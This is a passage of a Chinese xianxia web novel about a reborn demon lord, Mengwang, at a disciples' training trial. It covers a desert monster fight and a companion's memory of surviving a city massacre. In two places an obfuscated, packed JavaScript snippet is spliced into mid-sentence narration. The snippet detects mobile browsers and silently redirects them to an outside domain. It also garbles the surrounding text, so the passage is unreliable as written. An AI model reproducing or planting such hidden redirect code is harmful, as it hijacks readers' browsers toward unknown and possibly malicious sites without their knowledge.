他幽黑深邃的眸子亮起来,白皙的脸被橙黄的灯光笼罩。 光把身上的鲜血烤干了,雨把过往的罪恶洗去了,从此厉鬼披上了人皮游荡世间。 他终于不再是那个只能躲在树林里蜷缩着远眺他人祈福明灯的怪物了。 “……回家吧。” 谢惟牵着他的手,穿过拱桥走向河的那一边。 他能透过桥上中间挂着的半透明帘幕看到另一边的喧嚣。头顶上是一片澄明的灯笼,灯光将身上都照得生起暖意,周围的那些声音、人群和摊位都好似被刻意模糊了边界,不经意瞥见那河边,一抹红艳刺痛双眼,孟惘心下一悸—— 这种河边竟然也长有曼殊沙华吗…… 他收回目光,意识恍惚地跟着向前走,身侧帘幕被风吹起,上面的字像水上书般一条条飘浮在自己眼前—— 人间客,却似一江秋水过。 寒沙月,万顷事相终蹉跎。 红尘深浅,道不尽相思离恨愁千错。 往生桥去来不复,人间空流几轮回…… 与谢惟交握的手心处传来的温度灼烫得他整条胳膊都发麻,孟惘僵硬地将自己的手挣脱出来。 他好像入了一个轮回循环不得出的空间,条条字幅在虚蒙的眼中飘荡,突然生出一种恐惧又无力的窒息感。 谢惟略微惊讶地转过身去,“怎么了?” 孟惘看着他,迟迟说不出话来。 半晌他才开口,声音喑哑,“师兄,我有些难过。” 因为他声音太轻,周围又喧闹,谢惟只得去看对方的口型,以为他说的是“有些难受”,不禁眉头微锁面露担忧,拉着孟惘到了一个稍微寂静的巷口处。 巷口比较昏暗,但仍能看得出他面色苍白。 “哪里不舒服?是不是走得有些快了?” 孟惘又看着他不说话。 他无奈伸手去探他的灵脉。 “……那些字是什么意思?” 谢惟一愣,过了几秒才反应过来,“不是每年都是那些么?那座往生桥就是靠一个戏班子起的名声。” “我不喜欢。” 他语气有些无助与委屈,但也是颇为不讲道理,任谁听都是在无理取闹。 谢惟伸手摸摸他的头,轻声道,“下次不走那里了。” “师兄……”孟惘抱住他,将脸埋入他的颈窝,罕见地找不到一个合适的措辞,磕磕绊绊不甚流畅地用几个词语大致排列组合成了几句话—— “我感觉好像走了很多很多年,就是你这样牵着我,应该是有很多年,但是我记不清也记不起来了,我好像忘了很多,但我明明什么也没忘……” 他知道自己说的凌乱,但还是想让对方说点什么,这种感觉让他非常不安且浮躁,但等了很久都没有回音。 “……这种感觉不是正常吗?”谢惟的声音一如既往的平静,“明明第一次做的事却总觉得自己做过了许多遍,识海紊乱而已,你去问问温落安他们都会有这种经历。” “真的吗?”孟惘垂眸看着他,企图从他的神情中找出一丝破绽。 “嗯,”他耐心地再次重复道,“这很正常。” 14. 浔仙 自打除夕那夜逛完钩柳街后风乔儿就一直抱着她从人界买的小玩意儿不肯撒手,孟惘一打开早菱殿的门就看到她趴在地上数那些东西。 又是竹蜻蜓又是竹青蛙的…… “乔儿,别鼓捣了,师兄说浔仙道开了,各境仙尊座下的弟子都要去。”孟惘倚着殿门对她说道。 “啊?这不才刚过完年没几天,”风乔儿没回头,不满地嘟囔着,却是把小东西都放回了箱子里,“这次又是叶澜院的人来选吗?” “嗯,听说这次他们还要随机分组,不按五境来了。” 浔仙道是五位境主统一划定的用来训练各境关门弟子的地方。此处有通往修真界各处习地的传送阵,由五境符修十二人组成的叶澜院为各境弟子选择相应的习地,并负责处理前后事宜。 …… 五人一齐到了浔仙道后,找到了叶澜院给分派好的位置后一一入坐,孟惘和傅靖元换了位置,挨着谢惟。 桌上有摆放的糕点、莲蓬和螃蟹,以及一杯乌梅汤。 孟惘觉得这搭配有些奇怪。 可能是那些修士也不常吃饭的原因,就随便摆了几样,单纯是用来好看的。 他简单打量了一下场内,浔仙道两侧除他们几个已坐了十三人,看身上的佩饰,有五人佩玉,三人佩笛,还有五人佩琉璃珠。 佩玉和佩琉璃珠的分别是旋灵境和古土境。 那佩笛的只能是索苑境的了。 因为五境内只有他们南墟境和若虚境身上干干净净的什么也没有。 浔仙道上有一个屋蓬立在中间,屋蓬前还有两个桌子是空的,人大概在屋里面。 还有几个索苑境的弟子在周围来回走动不知在找什么…… “浔仙道这种能把境内普通弟子当侍从带来?” 那些人分明就是境内修为低阶的普通子弟。 “不进习地应该没什么问题。” “哦。”孟惘点点头。 叶澜院和若虚境的人还没到,他只好无聊地低头剥莲子。 太阳光斜照入眼中,刺得眼睛有些难受。 “师兄,你晒不晒?”孟惘眯着眼晴看向身旁的谢惟。 “大冬天的还是在早上,”傅靖元在一旁悠悠说道,“你真是没救了,见不得一点儿光。” 谢惟神色淡淡地伸出手虚贴上他的眼睛,嗓音清冽,“是不是觉得照得不舒服?” “嗯。” 他眨了眨眼,睫毛扫在谢惟的手心。 他放下手,“现在呢?” 孟惘巡视了一下四周,惊讶地说道,“不照了……你施了什么法?” “拂水柔。” 目睹全程的傅靖元,“……” 你就宠他吧。 迟早惯出事儿来。 “——你再说一遍?!” 一阵尖细的女声传来。 众人侧目望去,一位身穿青衣的女子仰首锁眉,一双丹凤眼微微眯起,殷红的唇压出一条线,身形出挑,手中握着条与她衣色极为相衬的竹木鞭,眉眼间透着股矜娇怒气。 她身边拥簇着几位小师妹,一边拉着她的胳膊一边不停地劝道,“木师姐你先别生气,一定是画言搞错了,我们有话好说……” 木师姐…… 孟惘本来正低着头专心剥蟹肉,听到这个姓后动作一滞,抬起头往那边看了一眼。 还真是她。 “有话好说?”那女子冷笑一声,“好啊,我乃索苑境泠潮仙尊门下大师姐木筱雨,敢问阁下……是什么东西?竟敢信口胡来,说我偷了你的簪子?” “木筱雨”这个名字一说出口,众人都心下一惊—— 完了,谁又惹她了。 温落安入门晚,悄声问道身旁的风乔儿,“师姐,这个人有什么特别之处吗,怎么他们都好像很忌惮她?” “那可不,修真界出了名的大小姐,而且是独一份的,”风乔儿淡淡瞥了一眼远处那群人,有些无奈,“没有比她还难伺候的了,到哪儿都能演一通,你就等着看戏吧。” 木筱雨手中竹鞭紧握,若不是旁人拉着怕是早一鞭子抽对方脸上了。 对方在她盛气凌人面前也表现的不卑不亢,伸手作揖礼数周全,“弟子索苑境洛画言,那支簪子乃弟子未婚夫亲手所赠,意义非常,请师姐务必将其物归原主……” “我说了我根本就没见过那簪子。”木筱雨打断她,脸色阴沉的可怕。 “可只有师姐进过那间屋子,”洛画言语气有些急切,“我就把它放在柜子上了。” 木筱雨垂着眼睫冷傲地俯视着她,一字一顿地问道,“敢问师妹,婚配何人?” 洛画言虽不知她问这个干什么,但深信簪子此刻就在她的手中,只好配合她答道,“是浔南沈氏沈公子。” “哦,还是个小小世家。”对方语气轻快起来,唇边染上笑意,“看你那么重视你们两个的定情信物,想必也很喜欢他吧。” 她有种不好的预感。 “芽儿,带着黄金一万两让他沈家去退婚,倘若不退,就把那沈家公子杀了。”木筱雨对身边的一个侍女说道。 “师姐?!”洛画言惊慌地看着她,见她没有半分开玩笑的意思,她马上上前想要拦住侍女,“别去!我不要了!我……” “啪”得一声,洛画言被她手中的竹鞭抽倒在地,脸上一道长长的红印子,很快渗出血来。 “我让你动了吗?” 这一幕都惊呆了众人,谁都没想到本来口头上的争执怎么突然说动手就动手了。 风乔儿猛地起身,刚要迈步向前去扶,不料被人抢先一步。 一个紫衫公子哥将洛画言扶起,“木姑娘,怎舍得对美人儿下此狠手?” 他将洛画言不动声色地往后推了推,用半边身子挡在了她的前面,“既然方才洛姑娘说不要那簪子了,那此事也就翻过去了,何必为难……” “段凌枫,索苑境内之事你别管,”木筱雨冷声打断他,“怎么被色气冲昏了头?说话也不过脑子了?” 哦,原来那人叫段凌枫。 孟惘想起来了。 他暗自笑道,这浔仙道还真是有意思。 木筱雨上一世亲自暗杀泠潮仙尊主动向魔界请降,孟惘对她的印象不可谓不深刻。 段凌枫为若虚境内关门弟子,平日看似吊儿郎当轻浮浪荡,没记错的话上一世攻打若虚境时,应该就是他在仙尊身陨后一根长鞭带着主战弟子撑了七天七夜,然后被一个护在身后的无名小卒偷袭重伤,最后死于荆连之手。 “冤枉我,我就让你记着我一辈子。”木筱雨冷哼一声,掀开了身后的帘席进了屋蓬。 四周议论之声渐起。 “在下有治伤的药,姑娘先涂上吧,免得伤口留痕。”一阵温润如玉的声音打破了周遭的议论。 “多谢,”洛画言伸手接过,忍着脸侧的疼痛弯腰行礼,“多谢二位公子,小女子先回房了。” 孟惘将刚刚剥好的一部分蟹肉递给一旁的谢惟。 即便很多人都为她的一桩婚事被木筱雨逼迫着拆散而感到惋惜,也为那人的恃强凌弱蛮不讲理而愤愤不平,可就像是木筱雨说的,索苑境内弟子冲突,其他境不好干涉。 傅靖元戳戳孟惘,示意他也要吃现成的。 孟惘将剩下一部分剥好的蟹肉递给他…… “不愧是迟师兄,这君子风范。”某位旋灵境弟子说道。 递肉的手猛地一抖。 傅靖元眼疾手快地接住那盘蟹肉,差点痛失所爱,连忙将它放在自己的桌子上,“怎么了小惘,怎么突然就癫痫了?” “你才癫痫。”孟惘斜他一眼。 迟师兄,君子,那不妥妥迟羽声吗? 竟然把那人给忘了。 他和谢惟是修真界唯二的元婴末期,离大乘期仅几步之遥。也是为数不多因为太难杀而让孟惘感到头疼的人。 当时第一个就攻打了旋灵境,在百里纤纤死后他抛却了所有的战术,未待百里夏兰率兵赶来便开启了单方屠戮,但旋灵境确实是硬茬,一个是浮鸿仙尊,一个便是迟羽声。 上一世他继任魔尊的消息传出后,修真界恐魔界势力愈演愈烈,口诛笔伐,百里夏兰野心昭昭,两界大战一触即发。 南墟境为了与他扯清关系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13702544|144459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,讨伐魔尊的呼声最高,昔日同门几人与天玄仙尊一起联合五境,集中在南墟商讨了三天三夜。 他们终究是不敢的,百里夏兰代理掌权时不敢,他继位后也不敢,但实在是逼不得已,恐再拖下去会彻底被魔界碾压,火烧眉毛了,只能硬着头皮搏这一回。 孟惘在幕后冷眼地看了三天,等他们下了定论各自回境整装待发时,魔军早就掏空了其余四境的巢穴,无声无息地将留下的弟子杀了个干净。 被修真界的智商逗笑,像看蚂蚁搬家一般看他们匆忙地去一趟来一趟,刚好不容易搬回来一点食物结果发现窝被捣了,存的粮全没了,想想他们的反应就觉得有趣。 他之前在树林里野生的时候没少干过这种缺德的事情,共情心基本没有,只顾自己开心。 接着就动了暗中备好的魔军,百里夏兰还没赶到他就已杀红了眼,自爆式地将灵力调到极限,不要命地以最快的速度杀了浮鸿和迟羽声,血洗旋灵境。 旋灵境一灭,其余四境更是不在话下,如唇亡齿寒,人人自危,局势全盘逆转。 相对于修真界的思前想后拖泥带水,孟惘的激进和疯癫就让人难以招架,何况五境本就如同遮天蔽日的巨兽,力量虽大但肢体松散难以协调,配合调度不及魔界的百分之一,拆解起来轻而易举。 那场连百里夏兰都被迫受其调度配合的屠杀,直到除南墟境之外的四境全部覆灭才堪堪止息。 他望着南墟境那铺天的结界,望着那备战乌压压的练场,望着境内最中心的峰顶,染着血的手胡乱抹了把脸,身影倦疲地离开,喑哑的声音散在风里—— “……累了,过几天再来。” 孟惘从不在乎修真界坚守的大恩大义,至少这种恩义对于他来讲,在哪里都不适用。修真界几千年前一统天下惯了,妖界人界愿意卑躬屈膝,但魔界不愿。 他们百里一族所坚持追求的,从始至终也不过“正统”二字。 他觉得自己没有错。成王败寇,本就没有对错。今日修士会为修真界拼死抵抗,明日魔族也会为魔界剖心泣血。 倘若百里一族不再掌权,一众魔族并不会被修真界俘虏,而是会被赶尽杀绝。 一如同几百年前险些覆灭的妖界。 已经有一个百里驿将魔界推到了刀尖上,此后要想活命,只能有无数个百里驿。 巨大的金色传送阵自浔仙道的尽头显现,紧接着十二位符修出现在阵中,白衣青衫,深蓝色法袍,腰绕素色玲珑绸缎,头戴白金凤霞发冠,耳坠晶莹玉宝珠,腿佩红枫符咒万里秋。 他们分别到浔仙道两侧统计各弟子的姓名和修为水平,依据能力分组搭配,再随机抽取习地。 要确保每组实力均等,且均需一个元婴期修士带队以保安全。 “本次习地共有五处,千仞山,枯月峰,浮屠海,泅渡川,仄冬荒,共弟子二十二人。”叶澜院的一位符修道。 “一组千仞山,傅靖元、安青、向田、景川译。” “二组枯月峰,木筱雨、风乔儿、温落安、夏许泽、应海。” “三组浮屠海,段凌枫、裴止、关乔雨、何之宁、花寻。” “四组泅渡川,谢惟,沈白沉,楚绗,年向寻。” 孟惘一顿。 怎么同上一世不一样了?他明明该是和谢惟分到一起的。 难道是前几天偷偷修魔的原因? “五组仄冬荒,迟羽声、孟惘、江子波、齐原。” 听到“迟羽声”这三个字后,他心口梗塞,颇为无语。 重生一世,身边净是死敌,他早该习惯了。 “请按上述分派进入相应的传送阵,三天之后传送阵会重新打开,在有限时间内尽早出来。”叶澜院的人说道。 “等等。” 木筱雨站起身,“我要带个随从去。” 场内人心下一凛—— 哪有进习地要带随从的? 随她来的几个弟子无论是修为还是资质都很一般,被她带进习地,岂不是羊入虎穴,怎么死的都不知道。 果然,木筱雨朝站在一旁的洛画言抬了抬下巴,“就是她。” 15. 鸣畜 这下梁子结大了,早听闻索苑境大师姐睚眦必报手段狠厉,往好点想是想拉人进去吃吃苦头,往坏点想极可能是要借此置人于死地。 “木姑娘,非仙尊座下弟子不可入内,”叶澜院的人虽要按规矩办事,但又不得不给她几分面子,“境主立下的规矩,我们也不敢擅作主张。” 木筱雨撩起眼皮瞥了对方一眼,疏懒道,“境主?泠潮仙尊算境主么?我带侍从来,都是事先和她交代好的。” 她这一码压的好,直接按在五位境主之一的泠潮身上,那符修被她这么一噎,一时间不知该说什么。 说罢她便手持竹鞭先行迈入传送阵,洛画言抿了抿唇,只得跟在她后面进了阵。 “带在身上。” 谢惟朝孟惘手中塞了个符纸。 孟惘站起身来向通往仄冬荒的传送阵走去,同时打开他给的符纸看了一眼。 传音符? 不过好像还掺了点其他阵法…… 有点看不懂。 各习地之间有专门摒却识海传音的结界,这张符应该是谢惟用来给他传音联络的。 …… “……我就说是你!” 眼前的光晕方一散去,还未待他看清这仄冬荒的环境便被人狠狠拍了一下。 “我就说不会有那么好看的怪物!你找我做花轿时可差点把我吓死了!”江子波激动地喊道。 莫名被拍的孟惘半天才反应过来他所说秘境之事。 “哦,你是那工匠。”他淡淡说道。 “对啊!我叫江子波,没想到能和你分到一起!”江子波不知道打了什么上头的鸡血,十分兴奋又热情地撞了一下他的肩膀。 孟惘措不及防被他撞得一个踉跄,额发半遮住微眯的眼睫,他沉默地盯着地面看了一秒,忽觉一只手扶上了左肩,耳边传来迟羽声温沉的声音,“当心。” 不同于谢惟的触碰,其他人的接近让他有些反感,尤其是迟羽声这种温柔的没话说的。 “没事。”孟惘不着痕迹的避开了他的手,随即看了眼江子波,冷淡又带着丝不易察觉的无奈,“别碰我。” 身后一声冷笑,“可别惹人家,人家身后可是有靠山,连入门大比都不用比就进门的,不屑跟咱们这种……” “齐原,”迟羽声面色不变,声音却严肃了几分,“你也不想丢了你们索苑境大师姐的面子,有些话还是少说为好。” 听到“大师姐”这三个字,齐原步履微顿,暗自“嘁”了一声,偏过头去没再说话。 跟他们几个在一起,真的是浑身难受,孟惘想道。 这仄冬荒莽莽苍苍,低矮灌木长在小小的沙丘上,干热的风贴着人的脸刮,放眼望去,除了远处几个挨得极近的由风化形成的石洞,只有万里无垠的浩瀚沙海,远处的天线亮得发白。 上一世和谢惟去的泅渡川,这一世的仄冬荒会发生什么他一点都不知道。 要在这种地方待三天,孟惘觉得自己干也得干死了。 哦对,还忘记带吃的。 这运气简直是好炸了。 “要不我们先去那边的石洞里看看?”江子波提议道,“其他地方也没有什么东西,出去的阵眼也只能在那里面吧。” “也只好这样了,走吧。”迟羽声先行走在了前面。 无垠的大漠上留下一串不规则的脚印,但很快又被风沙掩埋。 就在他们深一脚浅一脚地走了半柱香后,眼见得马上就要到石洞那边,却突然感到地底一阵轰动,似是有什么东西要破土而出…… “我去,这是什么?!地龙?!”江子波抬手幻化出命剑作防御姿态。 下一瞬一条鼠头蛇身的怪物从他们前方冲出地面,上半身几乎挡住了半边天,下半身仍埋在地里,扭曲摇晃着发出尖锐的嘶鸣。 “是鸣畜,”迟羽声眉心微凝,召出命剑渺州,“它的声音能震碎修士的内腑和灵丹,把灵力从体内散开,别聚在一起。” 话音未落其人已进那怪物十米之内,白衣乌发隐于尘沙之间,渺州剑被他抬手一挥抛入空中…… 鸣畜身上的触手伸长以迅雷不及掩耳之势砸向迟羽声,他足尖一转侧身躲过,毫无间隙地趁此时机调转方向绕到它身后,同时单手捏诀操纵着渺州剑正面攻其面门,跃上张牙舞爪的触手疾速朝它头顶掠去。 鸣畜好似感到了威胁,仰头发出一声比之前更加刺耳的鸣叫。 它的声音激起黄沙漫天,阵阵声浪像堵墙般以雷霆之势撞向人的身体,尽管孟惘将自己的灵力分散开护住了灵丹和灵脉,喉中还是涌上一口腥甜,他拼命咬着牙忍住呕血的冲动,因为极有可能一开口就把内腑碎肉也连带着吐出来。 他只得跪在地上去找自己身体的重心以减轻那另人不觉死生的失重感,全身的骨架都像被拆开卸开了一般。 意识昏蒙间本能地狠狠摁了一下自己的眼睛,将因为内外气压差太大而导致要爆出来的眼球粗暴地摁了回去,艰难地抬眸在一片血色中去寻那抹白色身影…… 迟羽声离它最近,当然受到的波及也最大。 果然看到那人从一根触手上掉了下去,转而又被另一根触手紧紧缠住,鸣畜张开了血盆大口…… 好,提前帮我解决了。 孟惘盯着远处那点白,默默地想。 不对。 随即他又十分悲痛地反应过来,以他现在的实力,如果没有迟羽声,在这种地方可能根本活不过三天。 如果不用魔气,他连面前的鸣畜都解决不了。 毕竟是同谢惟一般水平的人,迟羽声现在死掉还太早了。 孟惘暗骂一声,转头一看,身边的江子波跪在地上还止不住呕吐,一块块鲜红的碎肉和血液从喉中不断涌出,而他身边的齐原已经倒在地上,不知道是死了还是昏了。 孟惘希望他是死了。 他有些恼火地用手扇了一下江子波的后脑勺,“别吐了再吐脑子吐出来了!一会儿去帮忙!” 嘶鸣的余音仍在回响,他起身直奔那庞然巨物而去,几根藤条甩袖而出与袭来的触手猛撞于空,同时灌满灵力的一剑捅在了它的腹部。 鸣畜因痛松开,迟羽声落至半空伸手召来渺州,千钧一发之际,在其即将发出下一阵嘶鸣声时用剑身割破手心划了个血阵,“孟惘!灵印!” 孟惘抛出一个灵印融入血阵,单手捏诀催动灵力,刹时阵内血光大盛,迟羽声厉声喝道,“散!” 血阵被分割成千万片覆在鸣畜的身上,顿时被制住无法动弹,口中鸣声也被强制中断,迟羽声跃上渺州直冲它头顶而去。 看来这东西要害在头顶…… 但他是如何知道的? 孟惘抬头看。 太高了,都能挡住太阳。 恰在此时,有两只触手挣脱了血阵桎梏,一只迅速朝孟惘攻来,他抬剑格挡之际,余光瞥见另一只触手朝上冲去,目标多半是迟羽声…… 不过瞬息之间一阵破空声传来,紧接着似有利刃割破皮肉。 他看到半只触手血淋淋地从上空掉了下来,重重砸入沙尘之中。 攻击他的触手也软了下去,迟羽声那边得手,巨大的鸣畜就这样轰然倒下。 黄沙再次沉淀下来后,他看清了不远处撑着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13702545|144459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 膝盖勉强站立的江子波。 那人的命剑还插在掉落的半只触手上。 迟羽声平稳落至地面,将江子波的命剑从触手中拨出递给他,“子波,多谢你出手相救。” 他又转身抬手想要抚一下孟惘的肩,突然想起什么似的顿了顿,犹豫片刻还是收回手,温和地笑道,“也多谢你,没有你我就被吃了。” 孟惘低着头斜看着脚下的黄沙,“不用谢。” 我是迫不得已。 “……孟惘。” 他下意识抬起眼睫,条件反射地叫了一声,“师兄?” “你那边有异动?” 抬了抬手,才发现声音是从袖口中传来的,他把那张符咒拿出来,上面果不其然散发着浅淡的灵光。 “你怎么知道?” 意识到是谢惟之后,他从心底涌上一种欣喜之情,之前的烦躁瞬间就被一扫而空。 “是这个符咒,我这边刚刚感应到你灵脉受损灵气不稳,你受伤了?”谢惟的声音有些冷沉。 他嘴角扬起一个细微的弧度,语气放低放软,还带着些许委屈,“嗯,刚才遇上个鸣畜,它叫的声音可大了,震得我眼睛都差点滚出来,不过又被我摁进去了。” 还有点得意。 江子波,“……” 迟羽声,“……” 谢惟那边好像也噎了一下,“……身上呢?” 孟惘朝迟羽声打了个手势,示意他们到那边看一下齐原怎么样了。 看一下齐原死没死。 “身上没伤,只是内腑被声波震破裂了,用灵力疗养一下就好了。”他边走边说道。 “嗯,你将储物戒与这符咒相连,里面有一个小型空间,空间里有伤药和糖。” 墨色瞳眸中染上明澈又纤柔的欢喜,“你考虑的真周全。” 这时迟羽声探了探齐原的灵脉,开始给他传输灵力。 “那你那边怎么样?” “目前没事。”谢惟的声音变得有些空灵,“这张符咒支撑时间有限,失效后要等一会才能重新启用,如果遇到什么困难在上面施个术法通知我,千万别弄丢了。” 孟惘笑道,“那我要是有生命危险了你能及时来吗。” 那边沉默了。 他本来也就开个玩笑,这符又不是传送阵,况且仄冬荒和泅渡川差不多隔了得有两个境的距离,怎么能及时来。 不料就在符咒上的灵光所剩无几时,他听到对方以往日平淡的口吻说道,“你若当真生死一线,信我总比信你自己强。” 灵光彻底消失了。 齐原悠悠转醒,迟羽声站起身,默默理着袖口,语气柔和似在自言自语,“早听闻南墟大弟子对他亲自带上山的师弟疼爱有加,今日一见,当真是传言非虚。” 孟惘拿着那失了灵光的符纸静静地看了几秒,又默默将符纸塞入袖中,转身向石洞走去,“走吧。” 江子波上前一手搭在他肩上,“诶诶,他为什么要给你带糖啊。” “胃病,低血糖,喜欢吃。” “他对你简直太好了吧,就是上次和你成亲的那个吗?” “嗯。” 后面的齐原和迟羽声同时僵着脸问道,“……什么?” “啊那个……”江子波连忙摆手解释道,“上次古土境由于法场不稳开的那个秘境,你们没去所以不知道,我俩是在秘境认识的,那时候他师兄和他由于身份需要穿着婚服……你们都懂得吧不然就出不去了哈哈。” “原来是这样。”迟羽声的眉目再次柔散下来,眼睫低垂。 清风朗月,如玉如琢。 16. 掉马 进了石洞,四人借着外面斜照入的光朝里走去,洞中狭窄幽深,约莫百步之时,光线全然消失,迟羽声施了个火术,灵火自指尖燃起,照亮了前路。 前路却一分为二,一条往斜上方通去,一条往斜下方通去。 齐原见状直接找个石台坐了下来,“我看咱就在这儿打坐三天吧,别乱跑又炸出什么怪物来。” 迟羽声轻声道,“三天后的传送阵不一定开到哪,我们可以先去找找叶澜院的人划的阵眼,以免到时误了时机。” 江子波一捶手心,“那我们兵分两路吧,孟惘和我走上坡,你俩走下坡……” “我不走下坡,”齐原不耐烦道,“谁知道地下会有什么鬼东西。” 江子波一顿,这他还真没细想,“那咱俩换呗,你和……” “这样,我和孟惘走下坡,子波,你和齐原走上坡。”迟羽声递给他一张传音符,“一有发现传音联系。” “也行,那你们小心,”江子波应道,他收下传音符后拉起齐原的胳膊推着他向前走,“走了走了,早找晚找都得找~” 孟惘自顾自燃起灵火朝下坡走去。 一路上气氛诡静,他能看出来迟羽声有意想和自己说话,但是又几次三番因为不知说什么而闭了嘴。 他大概是觉得这样静默着很尴尬,所以想找话题打破这种氛围。 但孟惘觉得这没什么,要是换作谢惟和他一起,他得更尴尬。 脑中又浮现出谢惟那张淡漠面无表情的脸,极少与人对视的疏离的眼,以及清冷秀气的侧颜…… 迟羽声要是和他待一会儿只怕是恨不得直接人间蒸发了。 孟惘有些好笑地想。 穿过幽暗阴湿的狭道,他们来到了一片空寂的湖边,湖水并不与外界相通,没有丝毫流动的水声。 这石洞从外面看不大,到里面看却是别有一番广阔天地。 “……孟惘。”迟羽声终于开口道,“走了许久,在这里歇一晚吧。” 他没等回应,从储物戒中拿出一件法袍叠成方块状,放在靠近洞壁的地方。 孟惘回头看他,一脸质疑地问道,“在湖边歇一晚,你确定?” 这湖显然沉寂了很多年,且一看深度不浅,在这种荒漠中没有外界补给还长年不干,说底下没有任何猫腻,他是不信的。 迟羽声笑得很是温柔,他微抿着唇,脱下自己的外袍像方才那样叠起放在地上,并拍了拍身边那叠好的法袍,示意他过来坐,“给你讲个故事吧。” “……我不大想听。”孟惘觉得这气氛有些诡异,手中灵火更盛,他站着没动。 “其实是我的故事,”对于孟惘的抗拒,他露出一丝无奈,灵火照着他始终耐心平和的脸,“水下确实是有东西,但它不会伤害我们的。” 听他这么一说,孟惘犹豫着迈开步子向他走了过去,在他示意的法袍处坐下。 迟羽声的眸中浮着温润光泽,好像接下来要讲什么开心的事情,声线清澈和缓—— “其实我并不是他们口中所说的天之骄子,我的资质比普通修士要低很多,只是入门时间早些。在我六岁时,魔界二十四城中的一位少城主下令屠了人界的一座城。” 孟惘下意识抬眸,正好对上他的视线,灵火的光碎在他的眼瞳中,似水波流转,余韵不绝。 “我是城中一家普通屠户的儿子,那时候修真界和魔界冲突不断,人界为修真界所统辖,是修真界的薄弱点,魔族选了那么一座城来当人质。一座城,四万多凡人。” “他们开了条件,让修真界以一境之地换取这座城,一日等不到答复,就杀城内一千人。你知道的,一境内,约莫八千子弟。” “但是没有哪个境的愿意迁出去……” 没有人愿意让出自己的地方去换那四万多人的生命,修真界八千弟子的安稳就是远超过四万凡人的生死。 他们的领土比百姓重要。 魔族告诉城内的人,只要修真界愿意用领地来换,他们就能活命。 他们就等啊等。 日子一天天过去,一千,一千,又一千。 城中的人锐减到一万多,尸山堆了一堆又一堆,血腥味和尸臭味弥漫在城中,他们与外界不通音讯,只崩溃又绝望地想着为什么始终没见到修士来救他们、换他们。 活着的人开始将其他活着的人推出去,他们开始爬进死人堆里,谁都不想被拉出去当那一千人,求生的欲望强到极致,他们在腥臭的城中躲藏在各个角落。 被发现的人心有不甘,往往会将自己知道的其他人的躲藏地点给供出来,原本的爱人、朋友都成了随时可以拉上自己一起陪葬的恶鬼。 这场屠杀中,凡人希望能快些结束,修真界也同样希望能快些结束。草芥般的生命,走狗般的姿态,他们还不配成为威胁修真界的筹码。 这场赌局,魔界的那位少城主压轻了。 四万多人终于被杀光,魔族朝城中放了一把火,大火连烧了七天七夜,焦尸恶臭延绵五里不绝。 “但我逃出来了,他们没有杀掉我,我也没被烧死。”迟羽声的音调向上提了提,“你猜爹娘把我藏哪里了?” “他们拿刀将一个死人的胸腹剖开,把他的肋骨砍断,再将里面的骨头内脏通通掏出来,让我躲进去,”他耐心地解释道,“因为那时才六岁,而且身型又比同龄人要瘦小很多,我竟然真的艰难地钻了进去。” “那味道真的很难闻,”他笑着微微皱起眉,好像还能记起来似的,“他们将尸体翻过来压着我,上面又叠着很多尸体,魔族的人没有发现我。” 他不知藏了几天,饿到头脑发晕,几次昏厥后又起死回生般自己醒来。直到某一天,他看到城中火光冲天,魔族不见了,城门也被烧毁,便趁机跑出了城。 “逃出去后我很迷茫,无处可去,我就到有人的地方求吃的,他们看我浑身是血,又臭又脏,就抄起家什把我砸出去,我就只能跑……” “他们看我就像看会咬人的流浪狗一样,一人一脚,当发泄情绪的死物。其实他们过得也不好。” “我当时才真正地去想一个问题,我为什么要活下去。但我想不明白,我就只能麻木地走,走到很远很远的地方,饿的不行了就拔地上的草吃,扣土里的蚯蚓……” 然后他就走到了这里。 仄冬荒,万顷瀚海沙。 “我知道进去就出不来了,但我真的没有地方能去了。” 走了两天两夜后,快要渴死的小孩到了石洞中,好巧不巧地发现了这片湖水。他扑到湖边用手捧着大口大口地吞咽,喉咙刀割般的疼痛也阻不了他不停地将水往嘴中送。 “我那时候又在想,我到底是为什么活着。” “可能那时候太小,对死生没什么概念,本能地就是想要呼吸,也只求能够呼吸。” 蓦地水底下窜出一条身披鳞甲的巨蟒,足有数十米高,露出锋利的獠牙,伸出细长分叉的舌头,不像是要攻击,反倒像是威胁和恐吓。 “它是妖,”迟羽声的笑意更深了,他看着平静的水面,低声呢喃,“是只好妖。” 六岁的他被吓的双腿一软跌坐在地,惊恐地看着那只巨蟒,而对方在察觉到这个小孩对自己的领地没有威胁后,又一头窜回了水底。 迟羽声没有走,他在这里待了一天又一天,渴了喝水,饿了也喝水。 直到有一天…… 一条鼠头蛇身的怪物闯入洞内,巨蟒凶厉地和它缠斗撕咬,迟羽声躲在不远处捂着嘴蜷缩成一团。 他仍是没有走。 直到那怪物开始嘶鸣,巨蟒的尾巴暴戾地在洞内乱扫一通,他在震得耳目流血时被扫入湖中,意外的是掉入湖中后却感到那鸣声轻了很多很多。 待再次睁开眼时,发现自己正躺在岸边,那只巨蟒倒在身旁,浑身是血,不远处是那怪物的残体,被撕咬成一块一块。 “我记得当时巨蟒掉了很多鳞片,肉都翻出来发白了,我以为它死了。” 他跪伏着靠近摸了摸它的头,脱掉自己的上衣轻轻披在了它脖颈处一个骇人的伤口上,尽管血已流干。 原本双目紧闭的巨蟒却突然张开嘴冲他嘶吼一声,尖牙呲出,面目凶戾。 